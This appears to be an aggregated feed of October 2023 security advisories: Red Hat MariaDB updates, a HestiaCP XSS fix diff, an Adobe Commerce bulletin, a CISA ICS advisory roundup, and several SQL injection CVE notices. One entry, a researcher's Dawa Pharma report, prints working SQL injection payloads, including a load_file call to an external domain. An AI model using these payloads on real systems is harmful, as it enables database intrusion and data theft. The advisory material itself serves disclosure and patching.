Red Hat Security Advisory 2023-5684-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include a null pointer vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5684.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive. Going forward, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: galera and mariadb security update  
Advisory ID:        RHSA-2023:5684-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5684  
Issue date:         2023-10-12  
Revision:           01  
CVE Names:          CVE-2022-32081  
====================================================================

Summary: 

An update for galera and mariadb is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL.

The following packages have been upgraded to a later upstream version: galera  
(26.4.14), mariadb (10.5.22).

Security Fix(es):

* mariadb: node crashes with Transport endpoint is not connected mysqld got signal 6 (CVE-2023-5157)

* mariadb: use-after-poison in prepare_inplace_add_virtual in handler0alter.cc (CVE-2022-32081)

* mariadb: assertion failure at table->get_ref_count() == 0 in dict0dict.cc (CVE-2022-32082)

* mariadb: segmentation fault via the component sub_select (CVE-2022-32084)

* mariadb: server crash in st_select_lex_unit::exclude_level (CVE-2022-32089)

* mariadb: server crash in JOIN_CACHE::free or in copy_fields (CVE-2022-32091)

* mariadb: compress_write() fails to release mutex on failure (CVE-2022-38791)

* mariadb: NULL pointer dereference in spider_db_mbase::print_warnings() (CVE-2022-47015)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-32081

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-5684-01

Red Hat Security Advisory 2023-5683-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include a null pointer vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5683.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive. Going forward, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: mariadb:10.5 security update  
Advisory ID:        RHSA-2023:5683-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5683  
Issue date:         2023-10-12  
Revision:           01  
CVE Names:          CVE-2022-32081  
====================================================================

Summary: 

An update for the mariadb:10.5 module is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. 

The following packages have been upgraded to a later upstream version: galera  
(26.4.14), mariadb (10.5.22).

Security Fix(es):

* mariadb: node crashes with Transport endpoint is not connected mysqld got signal 6 (CVE-2023-5157)

* mariadb: use-after-poison in prepare_inplace_add_virtual in handler0alter.cc (CVE-2022-32081)

* mariadb: assertion failure at table->get_ref_count() == 0 in dict0dict.cc (CVE-2022-32082)

* mariadb: segmentation fault via the component sub_select (CVE-2022-32084)

* mariadb: server crash in st_select_lex_unit::exclude_level (CVE-2022-32089)

* mariadb: server crash in JOIN_CACHE::free or in copy_fields (CVE-2022-32091)

* mariadb: compress_write() fails to release mutex on failure (CVE-2022-38791)

* mariadb: NULL pointer dereference in spider_db_mbase::print_warnings() (CVE-2022-47015)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-32081

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-5683-01

Cross-site Scripting (XSS) - Stored in GitHub repository hestiacp/hestiacp prior to 1.8.6.

Expand Up @@ -512,7 +512,7 @@ class="form-control js-password-input" class\="form-control" name\="v\_mysql\_url" id\="v\_mysql\_url" value\="<?= $\_SESSION\["DB\_PMA\_ALIAS"\] ?>" value\="<?= htmlentities($\_SESSION\["DB\_PMA\_ALIAS"\]); ?>" \> </div\> <div class\="u-mb10"\> Expand Down Expand Up @@ -618,7 +618,7 @@ class="form-control" <label for\="v\_pgsql\_url" class\="form-label"\> <?= \_("phpPgAdmin Alias") ?> </label\> <input type\="text" class\="form-control" name\="v\_pgsql\_url" id\="v\_pgsql\_url" value\="<?= $\_SESSION\["DB\_PGA\_ALIAS"\] ?>"\> <input type\="text" class\="form-control" name\="v\_pgsql\_url" id\="v\_pgsql\_url" value\="<?= htmlentities($\_SESSION\["DB\_PGA\_ALIAS"\]) ?>"\> </div\> <?php } ?> <?php if ($v\_pgsql == "yes") { Expand Down Expand Up @@ -727,7 +727,7 @@ class="u-ml5" class\="form-control" name\="v\_backup\_dir" id\="v\_backup\_dir" value\="<?= trim($v\_backup\_dir, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_dir, "'")) ?>" disabled \> </div\> Expand Down Expand Up @@ -785,7 +785,7 @@ class="form-select" class\="form-control" name\="v\_backup\_host" id\="v\_backup\_host" value\="<?= trim($v\_backup\_host, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_host, "'")) ?>" \> </div\> <div class\="u-mb20"\> Expand All @@ -797,7 +797,7 @@ class="form-control" class\="form-control" name\="v\_backup\_port" id\="v\_backup\_port" value\="<?= trim($v\_backup\_port, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_port, "'")) ?>" \> </div\> <div class\="u-mb10"\> Expand All @@ -809,7 +809,7 @@ class="form-control" class\="form-control" name\="v\_backup\_username" id\="v\_backup\_username" value\="<?= trim($v\_backup\_username, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_username, "'")) ?>" \> </div\> <div class\="u-mb20"\> Expand All @@ -822,7 +822,7 @@ class="form-control" class\="form-control js-password-input" name\="v\_backup\_password" id\="v\_backup\_password" value\="<?= trim($v\_backup\_password, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_password, "'")) ?>" \> </div\> </div\> Expand All @@ -835,7 +835,7 @@ class="form-control js-password-input" class\="form-control" name\="v\_backup\_bpath" id\="v\_backup\_bpath" value\="<?= trim($v\_backup\_bpath, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_bpath, "'")) ?>" \> </div\> </div\> Expand All @@ -849,7 +849,7 @@ class="form-control" class\="form-control" name\="v\_backup\_bucket" id\="v\_backup\_bucket" value\="<?= trim($v\_backup\_bucket, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_bucket, "'")) ?>" \> </div\> <div class\="u-mb10"\> Expand All @@ -861,7 +861,7 @@ class="form-control" class\="form-control" name\="v\_backup\_application\_id" id\="v\_backup\_application\_id" value\="<?= trim($v\_backup\_application\_id, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_application\_id, "'")) ?>" \> </div\> <div class\="u-mb10"\> Expand All @@ -873,7 +873,7 @@ class="form-control" class\="form-control" name\="v\_backup\_application\_key" id\="v\_backup\_application\_key" value\="<?= trim($v\_backup\_application\_key, "'") ?>" value\="<?= htmlentities(trim($v\_backup\_application\_key, "'")) ?>" \> </div\> </div\> Expand All @@ -887,7 +887,7 @@ class="form-control" class\="form-control" name\="v\_rclone\_host" id\="v\_rclone\_host" value\="<?= trim($v\_rclone\_host, "'") ?>" value\="<?= htmlentities(trim($v\_rclone\_host, "'")) ?>" \> </div\> <div class\="u-mb10"\> Expand All @@ -899,7 +899,7 @@ class="form-control" class\="form-control" name\="v\_rclone\_path" id\="v\_rclone\_path" value\="<?= trim($v\_rclone\_path, "'") ?>" value\="<?= htmlentities(trim($v\_rclone\_path, "'")) ?>" \> </div\> </div\> Expand Down Expand Up @@ -946,33 +946,33 @@ class="form-control u-min-height100 u-console" <ul class\="values-list"\> <li class\="values-list-item"\> <span class\="values-list-label"\><?= \_("Issued To") ?></span\> <span class\="values-list-value"\><?= $v\_ssl\_subject ?></span\> <span class\="values-list-value"\><?= htmlentities($v\_ssl\_subject) ?></span\> </li\> <?php if ($v\_ssl\_aliases) { ?> <li class\="values-list-item"\> <span class\="values-list-label"\><?= \_("Alternate") ?></span\> <span class\="values-list-value"\><?= $v\_ssl\_aliases ?></span\> <span class\="values-list-value"\><?= htmlentities($v\_ssl\_aliases) ?></span\> </li\> <?php } ?> <li class\="values-list-item"\> <span class\="values-list-label"\><?= \_("Not Before") ?></span\> <span class\="values-list-value"\><?= $v\_ssl\_not\_before ?></span\> <span class\="values-list-value"\><?= htmlentities($v\_ssl\_not\_before) ?></span\> </li\> <li class\="values-list-item"\> <span class\="values-list-label"\><?= \_("Not After") ?></span\> <span class\="values-list-value"\><?= $v\_ssl\_not\_after ?></span\> <span class\="values-list-value"\><?= htmlentities($v\_ssl\_not\_after) ?></span\> </li\> <li class\="values-list-item"\> <span class\="values-list-label"\><?= \_("Signature") ?></span\> <span class\="values-list-value"\><?= $v\_ssl\_signature ?></span\> <span class\="values-list-value"\><?= htmlentities($v\_ssl\_signature) ?></span\> </li\> <li class\="values-list-item"\> <span class\="values-list-label"\><?= \_("Key Size") ?></span\> <span class\="values-list-value"\><?= $v\_ssl\_pub\_key ?></span\> <span class\="values-list-value"\><?= htmlentities($v\_ssl\_pub\_key) ?></span\> </li\> <li class\="values-list-item"\> <span class\="values-list-label"\><?= \_("Issued By") ?></span\> <span class\="values-list-value"\><?= $v\_ssl\_issuer ?></span\> <span class\="values-list-value"\><?= htmlentities($v\_ssl\_issuer) ?></span\> </li\> </ul\> </div\> Expand Down

CVE-2023-4517: Security patch for XSS in Edit server (#3946) · hestiacp/hestiacp@d30e3ed

Adobe Commerce versions 2.4.7-beta1 (and earlier), 2.4.6-p2 (and earlier), 2.4.5-p4 (and earlier) and 2.4.4-p5 (and earlier) are affected by a Uncontrolled Resource Consumption vulnerability that could lead in minor application denial-of-service. Exploitation of this issue does not require user interaction.

Security update available for Adobe Commerce | APSB23-50  

Bulletin ID

Date Published

Priority

APSB23-50

October 10, 2023  

3

**Summary**

Adobe has released a security update for Adobe Commerce and Magento Open Source. This update resolves critical and important vulnerabilities.  Successful exploitation could lead to arbitrary code execution, privilege escalation, arbitrary file system read, security feature bypass and application denial-of-service.

**Affected Versions**

**Product**

**Version**

**Platform**

 Adobe Commerce  

2.4.7-beta1 and earlier  
2.4.6-p2 and earlier  
2.4.5-p4 and earlier  
2.4.4-p5 and earlier  
2.4.3-ext-4 and earlier\*  
2.4.2-ext-4 and earlier\*  
2.4.1-ext-4 and earlier\*  
2.4.0-ext-4 and earlier\*  
2.3.7-p4-ext-4 and earlier\*  

All

Magento Open Source

2.4.7-beta1 and earlier  
2.4.6-p2 and earlier  
2.4.5-p4 and earlier  
2.4.4-p5 and earlier  

All

**Note: For clarity, the affected versions listed are now listed for each release line instead of only the most recent versions.  
\* These versions are only applicable to customers participating in the** Extended Support Program

**Solution**

Adobe categorizes these updates with the following priority ratings and recommends users update their installation to the newest version.

Product

Updated Version

Platform

Priority Rating

Installation Instructions

Adobe Commerce  

2.4.7-beta2 for 2.4.7-beta1 and earlier  
2.4.6-p3 for 2.4.6-p2 and earlier  
2.4.5-p5 for 2.4.5-p4 and earlier  
2.4.4-p6 for 2.4.4-p5 and earlier  
2.4.3-ext-5 for 2.4.3-ext-4 and earlier\*  
2.4.2-ext-5 for 2.4.2-ext-4 and earlier\*  
2.4.1-ext-5 for 2.4.1-ext-4 and earlier\*  
2.4.0-ext-5 for 2.4.0-ext-4 and earlier\*  
2.3.7-p4-ext-5 for 2.3.7-p4-ext-4 and earlier\*  

All  

3

2.4.x release notes

Magento Open Source   

2.4.7-beta2 for 2.4.7-beta1 and earlier  
2.4.6-p3 for 2.4.6-p2 and earlier  
2.4.5-p5 for 2.4.5-p4 and earlier  
2.4.4-p6 for 2.4.4-p5 and earlier  

All  

3

**Note: \* These versions are only applicable to customers participating in the** Extended Support Program

**Vulnerability Details**

Vulnerability Category

Vulnerability Impact

Severity

Authentication required to exploit?

Exploit requires admin privileges?  

**CVSS base score**  

**CVSS vector**  

CVE number(s)

Improper Input Validation (CWE-20)  

Privilege escalation  

Critical

No

No

8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  

CVE-2023-38218  

Cross-site Scripting (Stored XSS) (CWE-79)  

Privilege escalation  

Critical

Yes

Yes

8.4

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H  

CVE-2023-38219  

Improper Authorization (CWE-285)  

Security feature bypass  

Critical

Yes

No

7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  

CVE-2023-38220  

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89)  

Arbitrary code execution  

Critical

Yes

Yes

8.0

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H  

CVE-2023-38221  

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89)  

Arbitrary code execution  

Critical

Yes

Yes

8.0

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H  

CVE-2023-38249  

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89)  

Arbitrary code execution  

Critical

Yes

Yes

8.0

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H  

CVE-2023-38250  

Information Exposure (CWE-200)  

Arbitrary code execution  

Critical  

Yes

Yes

7.6

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L  

CVE-2023-26367  

Uncontrolled Resource Consumption (CWE-400)  

Application denial-of-service  

Important

No

No

5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L  

CVE-2023-38251  

Server-Side Request Forgery (SSRF) (CWE-918)  

Arbitrary file system read  

Important  

Yes

Yes

6.8

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N  

CVE-2023-26366  

Cross-site Scripting (XSS) (CWE-79)  

Arbitrary code execution  

Important  

Yes

Yes

5.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N  

CVE-2023-26368  

Authentication required to exploit: The vulnerability is (or is not) exploitable without credentials.

  
Exploit requires admin privileges: The vulnerability is (or is not) only exploitable by an attacker with administrative privileges.

**Acknowledgements**

Adobe would like to thank the following researchers for reporting these issues and working with Adobe to help protect our customers:

*   wohlie - CVE-2023-38220, CVE-2023-38221, CVE-2023-38249, CVE-2023-38250, CVE-2023-38251, CVE-2023-26367  
    
*   Blaklis - CVE-2023-38219
*   fqdn - CVE-2023-38218
*   Sebastien Cantos (truff) - CVE-2023-26366
*   Yim Bryan H.T. (CITD) - CVE-2023-26368  
    

NOTE: Adobe has a private, invite-only, bug bounty program with HackerOne. If you are interested in working with Adobe as an external security researcher, please fill out this form for next steps.  

For more information, visit https://helpx.adobe.com/security.html, or email PSIRT@adobe.com.

CVE-2023-38251: Adobe Security Bulletin

By Waqas
New CISA Advisories Highlight Vulnerabilities in Siemens, Mitsubishi Electric, Hikvision, and Schneider Electric ICS Products.
This is a post from HackRead.com Read the original post: New CISA Advisories Highlight Vulnerabilities in Top ICS Products

It is important for users and administrators of ICS systems to take steps to mitigate the vulnerabilities identified in the CISA advisories.

The Cybersecurity and Infrastructure Security Agency (CISA) released nineteen Industrial Control Systems (ICS) advisories on October 12, 2023. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS.

The advisories cover a wide range of ICS products and vendors, including Siemens, Mitsubishi Electric, Hikvision, and Schneider Electric. The vulnerabilities identified in the advisories range in severity from low to critical. Some of the vulnerabilities could allow attackers to gain unauthorized access to ICS systems, disrupt operations, or even cause physical issues.

CISA encourages users and administrators of ICS systems to review the newly released advisories for technical details and mitigations. Here are some of the key vulnerabilities identified in the CISA advisories:

*   **Siemens SIMATIC CP products:** This vulnerability could allow an attacker to gain unauthorized access to ICS systems through a remote code execution attack.
*   **Siemens SCALANCE W1750D:** This vulnerability could allow an attacker to gain unauthorized access to ICS systems through a buffer overflow attack.
*   **Siemens SICAM A8000 Devices:** This vulnerability could allow an attacker to gain unauthorized access to ICS systems through a SQL injection attack.
*   **Mitsubishi Electric MELSEC-F Series:** This vulnerability could allow an attacker to gain unauthorized access to ICS systems through a cross-site scripting (XSS) attack.
*   **Hikvision Access Control and Intercom Products:** This vulnerability could allow an attacker to gain unauthorized access to ICS systems through a buffer overflow attack.
*   **Schneider Electric IGSS:** This vulnerability could allow an attacker to gain unauthorized access to ICS systems through a SQL injection attack.

ICSA-23-285-08 Siemens SINEC NMS
ICSA-23-285-15 Advantech WebAccess
ICSA-23-285-06 Siemens SICAM PAS/PQS
ICSA-23-285-16 Schneider Electric IGSS
ICSA-23-285-02 Siemens SCALANCE W1750D
ICSA-23-285-07 Siemens RUGGEDCOM APE180
ICSA-23-285-05 Siemens Simcenter Amesim
ICSA-23-285-12 Weintek cMT3000 HMI Web CGI
ICSA-23-285-03 Siemens SICAM A8000 Devices
ICSA-23-285-01 Siemens SIMATIC CP products
ICSMA-23-285-02 Santesoft Sante FFT Imaging
ICSA-23-285-04 Siemens Xpedition Layout Browser
ICSMA-23-285-01 Santesoft Sante DICOM Viewer Pro
ICSA-23-243-03 PTC Kepware KepServerEX (Update A)
ICSA-23-285-10 Siemens Tecnomatix Plant Simulation 
ICSA-23-285-13 Mitsubishi Electric MELSEC-F Series
ICSA-23-285-11 Siemens Mendix Forgot Password Module
ICSA-23-285-14 Hikvision Access Control and Intercom Products
ICSA-23-285-09 Siemens CPCI85 Firmware of SICAM A8000 Devices

CISA recommends that users and administrators of ICS systems take the following steps to mitigate these vulnerabilities:

*   Monitor ICS systems for suspicious activity.
*   Develop and implement an incident response plan.
*   Apply security patches from vendors as soon as they are available.
*   Implement a layered security approach that includes network segmentation, firewalls, and intrusion detection systems.

ICS systems are used to control critical infrastructure, such as power grids, water treatment systems, and transportation networks. A successful cyber attack on an ICS system could have devastating consequences.

It is important for users and administrators of ICS systems to take steps to mitigate the vulnerabilities identified in the CISA advisories. In addition to the steps recommended by CISA, organizations that operate ICS systems should also consider the following:

*   Conduct regular security assessments of ICS systems to identify and address vulnerabilities.
*   Develop and implement a security awareness training program for employees who use ICS systems.
*   Keep ICS systems isolated from the internet and other untrusted networks.
*   Use strong passwords and enable multi-factor authentication for all ICS systems.

By taking these steps, organizations can protect their ICS systems from cyberattacks, especially the increasingly prevalent cybersecurity threat of ransomware attacks, and minimize the risk of disruption to their operations.

****_RELATED ARTICLES_****

1.  CISA Publishes List of Free Cybersecurity Tools and Services
2.  Major ransomware attack cripples largest gas pipeline in the US
3.  GreyEnergy: New malware targeting energy sector with espionage
4.  Siemens ALM 0-Day Vulnerabilities Posed Full Remote Takeover Risk
5.  Crit.IX: Flaws in Honeywell Experion DCS, Posing Risk to Critical Industries

New CISA Advisories Highlight Vulnerabilities in Top ICS Products

Dawa Pharma version 1.0-2022 suffers from a remote SQL injection vulnerability.

    ## Title: dawa-pharma-1.0-2022 Multiple-SQLi## Author: nu11secur1ty## Date: 10/12/2023## Vendor: https://www.mayurik.com/## Software: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download## Reference: https://portswigger.net/web-security/sql-injection## Description:The email parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'was submitted in the email parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed. The attacker can get all the information for the clientsof this application from the server, and very sensitive informationfor accessing the server by exploiting the vulnerability.STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```MySQL---Parameter: email (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: email=-8698' OR 5305=5305-- vvuH&password=mayurik&login=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: email=mayuri.infospace@gmail.com'+(selectload_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+''AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)--VRdC&password=mayurik&login=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/dawa-pharma-1.0-2022)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/10/dawa-pharma-10-2022-multiple-sqli.html)## Time spent:00:37:00

Dawa Pharma 1.0-2022 SQL Injection

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Biltay Technology Kayisi allows SQL Injection, Command Line Execution through SQL Injection.This issue affects Kayisi: before 1286.



CVE-2023-5045

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Biltay Technology Procost allows SQL Injection, Command Line Execution through SQL Injection.This issue affects Procost: before 1390.



CVE-2023-5046

Auth. (subscriber+) SQL Injection (SQLi) vulnerability in MainWP Google Analytics Extension plugin <= 4.0.4 versions.

**Solution**

 Fixed

Update the WordPress MainWP Google Analytics Extension plugin to the latest available version (at least 4.0.5).

Dave Jong (Patchstack) discovered and reported this SQL Injection vulnerability in WordPress MainWP Google Analytics Extension Plugin. This could allow a malicious actor to directly interact with your database, including but not limited to stealing information. This vulnerability has been fixed in version 4.0.5.

**Other vulnerabilities in this plugin**

 0 present

 2 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-23651: WordPress MainWP Google Analytics Extension Plugin <= 4.0.4 - Auth. SQL Injection Vulnerability	 - Patchstack

Unauth. SQL Injection (SQLi) vulnerability in MainWP MainWP Broken Links Checker Extension plugin <= 4.0 versions.

**Solution**

 No fix

No patched version available.

Dave Jong (Patchstack) discovered and reported this SQL Injection vulnerability in WordPress MainWP Broken Links Checker Extension Plugin. This could allow a malicious actor to directly interact with your database, including but not limited to stealing information. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 2 present

 0 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

Tag

#sql